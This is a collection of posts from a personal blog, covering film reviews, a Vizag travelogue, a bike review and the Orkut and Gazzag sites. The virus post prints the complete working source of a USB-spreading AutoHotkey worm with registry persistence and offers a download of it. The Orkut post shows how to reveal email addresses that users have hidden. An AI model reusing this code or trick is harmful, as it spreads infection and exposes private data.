An evening with Bharat Bhushan

Imagine spending an evening with a man who is the verbal equivalent of Mr.Bean. That is essentially the one-liner of the film Bheja Fry. A film of this caliber does not showoff amazing camerawork or any other revolutionary technical aspects. The script written by director Sagar Ballary (the story is supposed to be adapted from a French film, which I have never seen nor heard of), is well crafted but tends to get a bit repetitive, leaving no surprises (or shocks) for the audience to experience.

In the film, Vinay Pathak plays Bharat Bhushan, an Income Tax Officer with a passion for Hindi films and a penchant for blurting out the wrong thing at the wrong time. The hilarious events of a single night - when Music Producer Ranjit Thadani — Rajat Kapoor finds that an encounter with Bharat Bhooshan screws his life out of shape. A cameo by Ranvir Shourey, as Bharat Bhushan’s IT colleague Asif, is brilliant.

If you are a technophile then this may not be the best film for you. Over 95% of the film is in a single location. Thankfully, neither the camera movements nor the lighting distracted attention from the incredibly funny dialogue script.

To me the two aspects in which Bheja Fry excels with flying colors are its wittily penned dialogues and its main protagonist, Bharat Bhushan.

-A
http://arnabpal.blogspot.com/

9 x 3 = 3

Taare Zameen Par drives home a strong message, making you empathize with the kid, compelling you to draw parallels with your life, making one realize that some of the renowned geniuses were once scoffed at, but the world had to bow down to their intellect later.

Sure, Taare Zameen Par boasts of a story that strikes a chord, but most importantly, it has been treated with such sensitivity and maturity that you’re left shell-shocked in amazement by the sheer impact it leaves at the end of this 18 reeler.

Taare Zameen Par heralds the birth of a topnotch storyteller — Aamir Khan. To choose a story that’s a far cry from the mundane stuff that’s being churned out like factory products, requires courage and conviction and to execute it with panache is a rarity.

Those who somewhere nursed a grudge that the camera follows Aamir in all his films, will chew their words once they watch Taare Zameen Par. Yes, Aamir has a key role to portray as an actor, but the camera captures the child’s emotions like never before in a Hindi film. Also, let’s also clear the myth about Taare Zameen Par being a kiddie film. It’s not! It’s about children. Note the difference!

In a nutshell, Taare Zameen Par serves as a wake up call for every parent or parent-to-be. Also, it heralds the arrival of a magnificent storyteller — Aamir Khan. At the end of the day, it’s not difficult to choose who’s better — Aamir, the actor or Aamir, the director. Taare Zameen Par is a triumph all the way from the director’s point of view.

Overall Taare Zameen Par is a film that has the rare beautiful combination of a wonderful script merged with a supremely confident screenplay. Moreover the brilliant execution and noteworthy performances enhance the film further. The film no doubt caters to a more mature audience; nonetheless the film should do well simply through sheer word of mouth and praise. At the box-office, Taare Zameen Par will definitely have its fair share of takers

Banner : Aamir Khan Productions; PVR Cinema
Release Date : December 21, 2007
Shooting Studios : Filmcity, Mehboob Studio
Producer/Director : Aamir Khan

Aamir Khan...... Ram Shankar Nikumbh
Tanay Chheda...... Rajan Damodaran
Darsheel Safary...... Ishaan Awasthi
Tisca Chopra...... Maya Awasthi / Mama
Sachet Engineer...... Yohaan Awasthi / Dada
Vipin Sharma...... Mr. Awasthi / Papa
Lalitha Lajmi
Ravi Khanwilkar...... Arts teacher
Bugs Bhargava...... English teacher
Shankar Sachdev...... Hindi teacher
M K Raina...... Principal of Boarding School
Pratima Kulkarni...... Principal of Bombay School

Singers : Shankar Mahadevan, Bugs Bhargava, Vivinenne Pocha, Raman Mahadevan, Shaan, Aamir Khan, Vishal Dadlani, Adnan Sami, Auriel Cordo, Ananya Wadkar, Shankar Sachdev, Raaj Gopal Iyer, Ravi Khanwilkar, Loy Mendonca
Lyricist : Prasoon Joshi
Music Director : Shankar Mahadevan, Ehsaan Noorani, Loy Mendonca, Shailendra Barve
Cinematography : Setu
Choreography : Shiamak Davar
Editor : Deepa Bhatia
Sound : Nakul Kamte
Costume : Priyanjali Lahiri
Publicity Designs : Sukanya Ghosh
Story / Writer : Amol Gupte


-A
http://arnabpal.blogspot.com/

Orkut is banned you fool - Virus Update

A sudden laugh hit me last afternoon which said, "ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did?? MUHAHAHA!!" Same was the case with YouTube.

A mindless chukle told me its just another innovation from a budding pop-hungry genius, but the rice is the severe spread. How could it have come to me, pretty nasty.. anywayz ..

So heres the gig:
> 1. Go to the Task manager
> 2. click on the "Application" Tab ( if its not )
> 3. Right Click on the application that's Giving you the Messge > go
> the Process.
> 4 as you can see there is "svchost.exe" Highlighted.
> 5. Right Click and Select "End Process Tree"

I loitered a bit and found a new directory in my C: drive
Directory - C:\heap41a
Files - svchost.exe, drivelist.txt, 2.mp3, Icon.ico, offspring, reproduce.txt, std.txt, script1.txt

To make it more interesting the kid had made the folder invisible even when we choose to see all hidden files.

I choose to show the script much to the comfort of the writer ...
"You are good kid, real good, but as long as I am around, you will always be second best"
- Stanley Ipkiss

offspring:

#notrayicon
#persistent
ArrayCount = 0
Loop, Read,C:\heap41a\driveList.txt
{
ArrayCount += 1
Array%ArrayCount% := A_LoopReadLine
}
dat1=%userprofile%
settimer,reproduce,5000
return

reproduce:

Loop %ArrayCount%
{

element := Array%A_Index%
driveget,data,Type,%element%:\
ifequal,data,Removable
{
driveget,data1,status,%element%:\
ifequal,data1,Ready
{
FileCopydir,C:\heap41a\offspring,%element%:\,1

}

}
}
regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon
ifnotequal,regdata,C:\heap41a\svchost.exe C:\heap41a\std.txt
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon,C:\heap41a\svchost.exe C:\heap41a\std.txt
return

script:

#persistent
#notrayicon
settimer,ban,2000
return

WinGetActiveTitle, ed
ifinstring,ed,orkut
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,youtube
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,Mozilla Firefox
{
winclose %ed%
msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA BUT USE IE `r OR ELSE...,30
return
}
ifwinactive ahk_class IEFrame
{

ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}

}
return

std:

#notrayicon
#singleinstance,ignore
regread,regdata,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue
ifnotequal,regdata,0
regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL,checkedvalue,0
Run C:\heap41a\svchost.exe C:\heap41a\script1.txt
Run C:\heap41a\svchost.exe C:\heap41a\reproduce.txt

drivelist:

c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z

The rest of the files are junk, just delete it to break free (or if you are like me, rar and preserve it, for later use. It installs easily :P)

Download the rar from here (just for info)

-Arnab
http://arnabpal.blogspot.com/

Spiderman grows fat in V3

THE PLOT
Basically Spiderman 3 (or Spider-Man if you're by the book) is a story about Peter Parker's and Mary Jane's relationship. Mary thinks Peter becomes obsessed with all the attention and popularity he gains as Spiderman, which overshadows herself and her carrier.

Then we got the villains. Harry Osborn as the New Goblin, seeking to revenge his father from the previous Spiderman. Sandman, who tries to get money for his sick daughter and gets annoyed when Spiderman intervenes during his robberies. Lastly, but most importantly, we got Venom. Venom is a weird creature, with abilities similar to Spiderman, hungry for evilness (making a black suit spiderman out of the real spiderman).

Imagine all that happening at once in a groovy mix and you get Spiderman 3.

CRITIQUE
Believe it or not, I'm incredibly disappointed. In matter of fact, I wish this didn't exist. It wasn't worse than most comic movies out there, but you expect more from a franchise that has done great so far.

It says action and adventure under "genre", but this was drama and comedy, with only some cool action-sequences. After all, who am I to dislike the effects this film provides?

Spiderman grows fat for sure; if not in looks, then in mind...

Orkut is 3 years old

Orkut deserved one more review...

Orkut redefined the history of communication technology of the past two decades, out of email, newsgroups, groups, instant messaging, profile management, friend management and online databases.

When orkut.com started in Jan 2004, I thought it ushered another era of technology. Such a "social network", where each user comes with a standard profile, is a significant improvement to mailings lists and online forums because, what plagues such forum is that people are more or less anonymous.

There are a number of problems stemming from anonymity but I don’t intend to buzz around with them (in fact there are a lot of materials on the web about serious blaming to such facilities). Orkut provides a template for exchanging information from marital status to religion to what-not. though not a tailor-made cut out of exactly the users want, it suits the generic interest of almost all users. I think the interface is so staunch, that users even don’t mind public scrapping and public showcasing of personal attributes or happenings. With an user photo and an album it tends to strengthen that false sense of being connected (though it still remains false.. but who cares when everything else in this world is also an illusion).

Thus, today after 3 years of its in-effect Orkut stands as a tool in the life of every average computer user. Even the most infrequent internet user possesses an orkut profile with a few friends and communities. The corporate computer usage struck so high that today most software companies have banned orkut usage from work place.

Friend management is one of the major advantages orkut has to offer. With having the full array of friends (and foes) you can categorize their importance in your life, send a mail to all them making them feel you still remember them (when you actually don’t). The next best is the communities with an overflowing redundancy orkut communities still stands among the largest set of discussion forums.

Dating seems to be the natural outcome of such things and no wonder its flourished well in here pretty healthily (the consequences of which is beyond the scope of this blog). You have friends-of-friends, mutual-friends, friends-in-communities and what not.

Orkut.com set out to be a "social network" with the goal of real-life friendship and partnership building, its organization and features prevents it from becoming a wild virtual fantasy world. It becomes a social responsibility in our own interest to save Orkut.com by getting rid of some morons or moronic behaviors.

A humble thanks to Orkut Buyukkokten (there are so many email fwds i get about he making this site for his lost girlfriend ... I am not sure he did or not .. but I definitely did ;) who is known for his tremendous efforts for creating such a masterpiece utility helping really old lost friends to reappear.

Being just another orkut user for more than a year now, I just want to document some useful tips and tricks that you can honestly use to have just a little edge over some other users.

How to find emails of persons who have hidden their emails from non friends?

first add the target person as a friend (by going to his orkut profile).
Needn’t wait for the approval. Go to your "friends" page immediately.
Click on "Open friend requests" on the top-left corner.
Find the name of the person whom you just added.
Click on "EDIT" at the right side of that person’s profile.
You can see his/her email id here

What can you do when you want to scrap from office and all proxies are blocked?

Use http://www.powerscrap.com

-A

http://arnabpal.blogspot.com

One eye view of The Araku Valley and Vishakhapatnam

Araku Valley, bound within unknown faces of the Eastern Ghats amidst green fields and haze of clouds. Chillier winters, distance and height separate it from the rest of Vishakhapatnam (just 170km away from here) A majestically designed location for holiday hoppers, stands, as it should be, to be explored just once more.

Kirandul Express seems to be the only train connecting the place from Vizag. It leaves Vizag at 7:20AM to reach Araku at around 11:00AM traversing woble-goble round tracks and 32 dimly lit tunnels, the largest being about a km long. We toured during Christmas Eve and it was a battle getting seats in the train (I would recommend to bribe coolies and assure your seat. There seems to be 11 general bogies, 1 sleeper class and three bogies for the AP-tourism reserved, making it exceedingly difficult to find a seat without a fight) But once you can get seated its a fascinating beautiful ride (though the first one hour seems boring with nothing scenic but after that its a real valley journey, all the way through waterfalls, tunnels, hills, valleys, clouds, and so on)
Snapshots: Image1.1 Image1.2 Image1.3

Although a significant beauty holds your journey towards the valley, Its seemingly a narrow town once you reach there. Bora Guhalu the pre Araku stop would lighten the rush a bit as some tourist unboard here to see a cave of stalactites and stalagmites. But I would recommend to unboard at Araku valley and visit this during come back (arrange for vehicles from Vizag itself and make him wait at the Araku Valley station for the comeback)

The next attraction would be to visit Ananthagiri hills having a waterfall and coffee plantations. A good picnic spot and time buster remains to be seen. An hour or two seems enough for the entire Ananthagiri hills.

A tribal Museum, seemingly less interesting with boating inside and a 20 buck entry pass stands to be visited. The museum boasts of having various tribes of the valley in models and statues along with their mode of habitat.
Snapshots: Image2.1

Borra Caves is another "Ram visited cave" (somehow I find all Indian caves having some connections with Lord Rama and Sita) with something special for stalactites and stalagmites. A 25 rupees entry (15 for children) precedes a long queue after which you get down several cascades of staircases to the entry point. The concrete steps is however built towards the entry and not beyond that recommended further for only young limbs. (I would recommend a guide for a complete informed visit of the Borra caves) But we managed to listen to the guides hired by others. Inside the cave seems to be one hell of darkness broken by some electrified halogens. Various natural erosions have created fantastic cave patters in between (some like the lion, lord Shiva, ram-hanuman stuffs, etc etc. A guide would show you all of them). Some stupendous heroism depiction can be made here by climbing random large rocks some wet some curved, etc. The Indian Railway stone here says that some railway line has gone from above it. The Gosthani(cow's milk) River flows from here. A mandir of lord Shiva, a quite dangerous steel staircase which swings when you climb it are among other attractions. The entire visit should take about 2 hours.

Snapshots: Image3.1 Image3.2 Image3.3

A sumo ride till here took us till 4:00PM including 1/2 an hour for lunch at the Araku market place which seems to be the only spot for fetching items of needs (e.g. I needed an eye-drop)

While you are on the return journey, there views the TYDA Park. Pretty costly to visit but promises to be a bird-watching zone where a resort type, over night accommodation can be enjoyed. We skipped it by chance of luck and saved some amount of money. We however sneaked from the gate within.

The long 4.5 hour journey back, brought us to Jagadamba Square (where we were living at a decently priced lodge called Anand lodge - pretty gloomy but good enough for living (even for families), and who would care for class in a tour) Over and all Jagadamba area is a marketing zone with the Trinity Lutherine church. It was immensely lighted during Christmas with Telugu carols by children.

We spent the evening at the Ramakrishna Beach (3km from Jagadamba). It’s a decent beach with no food available except juice, samosa and tea. There is an aquarium of various sea livings just opposite to this (at an entry of Rs 20) and a temple of various gods (not goddesses - I learnt that in south India female goddesses are not worshipped for some reason) just opposite to the beach. Otherwise RK beach (Ramakrishna Beach) is a great place for the evenings. The tide is not too dangerous even and the waves are smooth. The beach is straighter than other beaches in Vizag.

An entire day spent from 4 in the morning till 8 at night but it was worth the sceneries and enjoyment :)

Day 2 - as it went

The day two revolved around different sight seeing locations within Vizag city. It was slightly more thrilling than the previous day. I bought a stunning piece of dark eyewear to protect my eyes.

Vizag is no different from any other city in site seeing, but where it scores over others is, naturalisms and clean blue beaches. The roads are better than most similar cities but narrow. Auto seems to be the generic transport for people who cant mingle with the rushy buses. We could arrange two ambassadors for a sheepish cost of 1500. But the bargain shifted soon on their end with asking them to cover Dolphins nose which is in a different direction. They asked for an additional 400 bucks.

We started at 8:30 from Jagadamba to have a breakfast at some generic south-indian idly-dosa joint and off for Dolphin’s Nose at 9:30AM. We reached Dolphin’s Park at 11AM.

Dolphin’s Nose is a part of Dolphin Park, a property of the Indian Navy with a light house and a land protruding in the sea. A very windy and calm sea with no beach. The best you can do is get 20 rupees pass and enter to get atop the lighthouse. The view is very scenic but photography is prohibited so carry a mobile cam and be prepared to fight with the authorities (I did). The timing is 3PM to 5PM for tourist visit. But the curator makes more money by opening the park at other hours. He locked the gate and took in other tourists. Somehow I slammed the lock to open it and we went in.

The interior of the Dolphin’s Park shows some dilapidated quarters of middle positioned officers and at the end of it is the light house. They sad they use a 450W bulb for signaling purposes within the rotating disc. A view of the beautiful Yerada Beach can be seen from here. I bet you can’t think of missing it. A beach, as you see from here, with a hill on one side and sea on the other.
Snapshots: Image4.1 Image4.2 Image4.3 Image4.4 Image4.4 Image4.5

Leaving it we proceeded for the Yerada Beach as part of the Yerada village it’s a picnic prone masterpiece. Steepy roads downhill, very difficult for an amby, dropped us there. We could hardly spend an hour there but I would recommend half a day for it. The terrific waves and a dry soothing white beach would make you string to the place. This beach however is not ticket-less. 10/- per person is you got to pay to enter for any duration of time. There is an attached children’s park with see-saw, swing and other things. The beach showcases boats in a corner and you can have food there. Alongside the park there is s decent food joint for enjoying the day. The kids with us enjoyed a fill here and we left with wet jeans and sandy sneakers.

Snapshots: Image5.1 Image5.2 Image5.3

The journey next took us to Shimachalam Temple atop another hilly terrain. We reached there at 1PM. The temple as it stands is a lot bigger than some other temples we saw there. Quite naturally the crowd was crazy and more. The entry passes are for free, Rs.10, 30(shighra darshan) and 100(tatkal darshan). The free line would take you half a day for entering and 100/- would be in 5 minutes. We took the shighra darshan and took us an hour to see. Children entry is free here. The temple has curiously beautiful carvings and a hundi for donations, so be prepared. Photography is restricted within the temple but outside it’s open. There is a shopping junction towards the 200 steps to the temple where you can buy puja related stuffs and god statute gifts. Food is available near the entrance but far from eatable.

Snapshots: Image6.1 Image6.2 Image6.3 Image6.4

The next destination was Rushikonda beach about ½ hour ride from here. Rushikonda is the best beach I saw so far. Because of vacation rush we saw about 5000 crowd on the beach. The lonely beach would have been better but this colorful view was great in its own way. The sea is a bit dangerous here. But it hasn’t stopped the crowd from enjoying speed boat ride. Here we also saw horse rides at decent costs. The entry is assorted by a food plaza at cheap cost. We had chicken and rice meals for eight person (400/-) This beach is also big time enough to spend half a day but we could only buzz in for about 20 minutes after lunch.

Snapshots: Image5.1 Image5.2

Kailash Giri hill is a 10 minute ride from here. Here we can enjoy a 44 rupees (22 for children and disabled) rope way ride (courtesy of some organization of Calcutta). Hardly 3 minutes and you hardly even fetch a snap. Too sheepish! Atop the hill there’s a little park with some food joints a shiva parvati statue and a water spring (artificially made). Lot of scope for photography. We tried to snapshot on the lap of shiva but the guards dismantled the plan. Please do so quickly, you will find the stairs behind the statue. It is recommended to visit there before dark so that you will see an entire view of the city from here. The Rushikonda beach from here looks very scenic.

Snapshots: Image6.1 Image6.2 Image6.3 Image6.4 Image6.5 Image6.6

The next and last stop for the day was Submarine Museum. It was already dark and 6:30. It took around 10 minutes to reach there. This museum is near the RK Beach and opened till 7PM. A 25 rupee ticket (20 for a camera) would ask to enque for a bilingual museum visit (hindi and telugu). The Hindi was highly Telugu accented.

They have put up a 60’s Russian made submarine over the ground and the museum is within the submarine. The thrill is to have entered a real life (though broken) submarine. The demonstrators have been pre-recorded with some knowledge which they go on saying without a change in word. Highly monotonous to listen. I slipped in my mobile cam and was caught without cam ticket photography. Luckily I was spared without any fine. We left at around 7:30PM and spent the last evening at RK beach garden. He staunch garden has no entry fee (for a change) and very windy sharing a steep wall with the beach. They also have made a stairway to go down the beach.

Snapshots: Image7.1 Image7.2 Image7.3 Image7.4 Image7.5 Image7.6 Image7.7

-A

http://arnabpal.blogspot.com

CMM Level 5 and Beyond - from a different perspective

A recent trend of rising number of CMM level5 companies has seen a chaotic scenario where most middle to small sized companies are throttling their powers to bag as many certifications (viz. BS7799, ISO etc) as possible.

At the lowest level the case lies with most of them not having capabilities for becoming such kingly superlatives. And as they leave no stones unturned in making their tries worth; the consequences are faced by the people who live and work there. One such "sweeping the floor" attitude is squeeze the last penny out of its business.

I have seen some companies descending to measures as under:

a) Facilities like air-conditioning and lifts of their offices work in office times ONLY and not a minute extra.
b) Making internet connectivity usable highly uncertain. More than half the time the services are unavailable.
c) Extraction of salaries in the form of "sewa" and other seemingly nice words which does not support the purpose projected by the words.
d) Transport (office bus) cost hiked without any increase in the travel allowance from the company.

These being not only the ones with more down the list, it is high time that the so-called "employee satisfaction management" starts making decisions a bit more standardized. Certifications or acquiring n number of companies may not be always helpful at the cost of high attrition rates at these organizations.

Gazzag - what lies behind

Why I am not on gazzag.com and why I’ll never ever join it?

On the whole, the site seems extremely nasty and intrusive. I had made a promise never to visit the site ever until my girlfriend asked me to delete her account, highly irritated by spamming and not being able to find the "terminate account" link (the way these guys had hidden the option to delete account is a different story)

And here's what I observed:

1. The sign-up process does not need an invitation. Anyone can join in, without any restrictions. The sign-up process does not even have a CAPTCHA system to trap bots. So one can expect a larger number of bot-generated fake profiles on this site.
2. There are tools to automatically import contacts from orkut, yahoomail, Multiply, MSN Messenger, Outlook & Outlook Express. Imagine if you import your Outlook contacts at your workplace and your CEO receives a Gazzag invitation from you. That'd be fun, eh?
3. There are ads all over the place - a combination of graphics, Google-generated text-ads, and those irritating pop-ups (I deliberately used Internet Explorer to see what the majority Internet users' experience would be like). Of course, Firefox & adblock would be able to clean most of this in a jiffy.
4. One of the features that Gazzag is trying to market big-time is the live chat - one can chat with anyone who's logged on to the website. Either that's really useful, or really irritating.
5. Gazzag Dating - this is a site within Gazzag, name explains all. A gazzag in itself.

Now, a slightly tangential line of thought. The tool that allows one to import contacts from yahoomail & orkut requires one to enter the username and password of those sites. And a lot of my friends, including a few tech savvy ones, have done exactly that. My question is why??

Would you trust me with your yahoomail password? I think not, I hope not. Then why would one trust gazzag or any other site asking for your yahoomail password?

I'm sure there are tons more that can be added to this list. There has been a lot more things like this Myspace - Friendster - Zorpia - Hi5 - Zanga – Namesdatabase - etc - etc .. but no one, no one, seemed to get on my nerves like gazzag.com

Update

Gazzag accounts could be deleted. And yes, I did find these instructions:
Select the "Welcome" option in the main menu.
Select the "Account Settings" option in the submenu.
Select the "Terminate Account" option.

-A

http://arnabpal.blogspot.com

Hero Honda - CBZ eXtreme

A few words on the bike:
The new CBZ Xtreme (one I was tracking for the last 6 weeks) seems to be the gem of a fusion from the makers of its mother version. The way this one performs is stupendous. I got a AMR(blue) color.

It was delivered yesterday. I was lucky to be among the first 3 bikers of this one in Bangalore. Since then I was bugged at a few lights and petrol stations with queries.

Compared to Pulsar this is Godly. I wouldn't go any further on a blog... ;)

The major specifications are as follows:

MECHANICS:
Displacement: 149.2cc
Maximum Power: 14.2BHP
Gear Box: 5 speed constant mesh
Rim Size: Front 18 x 1.85, alloy wheels
Rear 18 x 2.15, alloy wheels
Fuel Tank Capacity: 12.3Ltrs (Min.)
Reserve: 0.8Ltrs (Useable Reserve)

PHYSICS:
Length: 2080mm
Width: 765mm
Height: 1145mm
Wheelbase: 1325mm
Ground Clearance: 145mm
Kerb weight: 141 kg (kick)/143 kg (self)

OTHERS:
Lights: Fixed with visor and tail... Great innovation
Mileage: 50kmpl (on paper - I'll post the true mileage after I note)
Rear View mirrors: Colored
Pillion seating: Higher than CBZ
Front design: Could have been far far better

I would rate it as follows (out of 10):
Control and Manipulation: 8
Looks: 6
Performance: 9
Comfort: 10
Fuel Consumption: 7.5

In one word - It's a low price Karizma ...

UPDATE December 04, 2006
Consistently getting an average mileage at 53-54 kmpl (after riding at 40-50kmph for better mileage). My bike has run 550km till now.

UPDATE December 11, 2006
In horrible traffic it reduces to 45kmpl. After first service at 681km its become smoother and the disc brake (a bit spongy before) slightly better now

UPDATE January 17, 2007
Just completed 1900KM. The best and worst mileage i got so far in various modes:
Cruise mode (comfortable ride) : best-48 worst-45
Mileage mode (always near 30kmph) : best-53 worst-51
Rash mode (with extensive use of clutch and brakes) : best-46 worst-42
Top speed mode (as fast as possible;most;y close to 110kmph): best-40 worst-32
High speed mode (very fast): best-47 worst-43

-A
http://arnabpal.blogspot.com/

KLUELESS 2 or IRIS 2006

[Statutory Warning: The comments of this post are full of spoilers. Please see at your own risk]

Sometimes just one day is all it needs to dump all your work and get spoilt by Iris.

No I am not talking in medical terms. Iris, as I know it, is the most mind boggling stuff (of INDIA :D .. had to limit it to the country .. hope you guys dont mind) conceived, in idea and form, by the budding managers at IIM Indore.

Last December Mishal and me were pretty taken off by it (KLUELESS 1 OR IRIS 2005). About a year later, it (KLUELESS 2 OR IRIS 2006) had grown in style and looks with a new theme.

These simple (but witty) fundas when flicked or splashed as palmful of water prove to be little teachings (sounds like an old fashioned word) and goes a long way in concretising my outlook towards a few (quite modestly 'few') aspects of life.

A few key learning (these are not spoilers.. i put them in the comments of this blog)

• Cheating is creative and you got to know how to what to cheat (may be whom to also :P)
• Googling is not as easy as looking for keys in your drawer... It takes a heck outta, if the key words aren't in your mind
• You are either right or wrong (justifying my old binary logic) [read as: the simulating pig called srinivas tadepalli forced me to think otherwise.... look you cookold i got another justification]
• Looking for jumbled words and puzzles in everything pays.... always!
• Klueless 2 is unique in theme and has a same story... but lame-er than Klueless 1 (sorry guys.. had felt it) and a lot easier too... [read as: i would have ever been 0.1% successful in creating something that these people have done... i just felt it while playing]
• As many names as i could gather: Vineet Gera, Vivek Mishra and Phani are gods and if they are not they will be

the links:

Klueless 2: http://www.iimi-iris.com/iris-2006/irising/klueless/

Irising Link: http://www.iimi-iris.com/iris-2006/irising/login.asp

UPDATE - December 4, 2006

Just discovered that I have entered the Klueless2 'Hall of Fame'. I am at number 276 :D

check my name out here: http://klueless2.blogspot.com/

-A

http://arnabpal.blogspot.com

Bush hid the facts

[disclaimer:
1. Most of the information is what I found over the internet. My contributions are in black ink :D

2. I got a mail today morning regarding this: Felt little odd, though I forwarded this piece of info to my friends. And started looking on for it… Idle mind is a devil’s workshop you see J]


If you have a Windows XP machine open notepad and type in “Bush hid the facts” and save it. Open it again and you get 畂桳栠摩琠敨映捡獴 or 9 rectangles if you don't have the Chinese character set on your computer. If you copy the 9 rectangles from notepad into word you will see the Chinese characters.

Of course Mike hid the facts also does the same thing: 楍敫栠摩琠敨映捡獴, except if you look closely you will see the first two Chinese characters are different.

I don't know what to say. OK, any Chinese speakers out there? What does it say? Windows experts, any ideas?

Update
I used Babel Fish to translate:

□敫 □touches □□reflects picks □

In other words it's gibberish :D

Update
I did some additional tests and came up with the following:


1. When I copy from notepad to word the font is PMingLiU
2. Bush hid the facts: 畂桳栠摩琠敨映捡獴
3. Bush hid the fact: Bush hid the fact
4. Bush hides the facts: 畂桳栠摩獥琠敨映捡獴
5. Abcd efg hij klmno: 扁摣攠杦栠橩欠浬潮
6. abcd efg hij klmno: 扡摣攠杦栠橩欠浬潮
7. Bush the facts: Bush the facts
8. Bush hid facts: Bush hid facts
9. Hid facts: Hid facts


Reportedly google Translate says: 畂桳栠摩琠敨映捡獴 = 畂 桳 Hour Morocco by showing video games seized mongoose – in chinese

and 畂 桳 栠 摩 琠 敨 映 projections 獴 – in japanese

Some more experiments:

1. gggg ggg ggg ggggg = 杧杧朠杧朠杧朠杧杧
2. s fggd feh vgg segtv d = ⁳杦摧映桥瘠杧猠来癴搠
3. this app can break = 桴獩愠灰挠湡戠敲歡
4. Dong has big balls = 潤杮栠獡戠杩戠污獬
5. Dong has man boobs = 潤杮栠獡洠湡戠潯獢

Some other observations:

1. These does not happen when we open a pre-encoded file and over write some text and save it again... say for instance we save "gggg ggg ggg ggggg" .. and open the file to get "杧杧朠杧朠杧朠杧杧" ... now if we overwrite that text to "s fggd feh vgg segtv d" and save and close notepad and open it again this does not happen ...

2. Aother excellent observation: As I was writing this text in notepad, just after typing the the closing (") character in the previous paragraph ... the justification of notepad changed to right-aligned .. phew .. all sorts o wierd things :D [please see attachment of screenshot]
Click Here

Upon a little further research, it appears that many sets of 4-3-3-5 words will trigger this bug. For example:

"Bush hid the truth"
__4___3__3__5__

Each number represents the number of letters in the word.

So, with that little bit of info, let's see what people can come up with. (Hint: It usually works better with all lowercase characters, and you might need to make a new text document for each try.)

1. come and try vgamp = 潣敭愠摮琠祲瘠慧灭
2. zach has the dough = 慺档栠獡琠敨搠畯桧
3. yung ate the skunk = 畹杮愠整琠敨猠畫歮
4. guess this ;) = 楴慦栠獡戠杩戠潯獢 (hint: tifa has big ....)
5. kush lid for backs -畫桳氠摩映牯戠捡獫

plus you can continue :D with this .. ill keep posting to this blog as soon as I get something new.

-A

Excerpt from a book Chapter 2

Excerpt from a book called "How to loose and win on the same day"

Chapter 2 - "Fam'bility"

It was one of those moments for me when suddenly everyone found out that I was also in the class. Even our Head of the Department, Prof Ali, came to know of my name. A moment, very difficult for me to handle, as I was never before in a situation when the entire class turn to the second last bench, which otherwise remained inconspicuous, just like the last bench.

It was always the three of us, Jim, Shubho and me occupying these precious wooden planks which we treated as our thrones. The three of us were very similar in terms of underperformance so we remained un-mixed, with the remainder of the cream material.

My name got printed with some good to decent scorers. This made the letters of my name think, for the first time, that they were worth too.

Men always find it difficult to showcase two things in the society – their undergarments and their emotions. I sat like a muddy pig, when the usual me would have at least broken a desk in joy.

-A
http://arnabpal.blogspot.com

[Some parts from Chapter 2 as well]

Excerpt from a book Chapter 1

Excerpt from a book called "How to loose and win on the same day"

Chapter 1 - "Power of Blue"

A reaction of a sixteen year old may be stupid, but it’s pure. This is what I had to learn as I grew up.

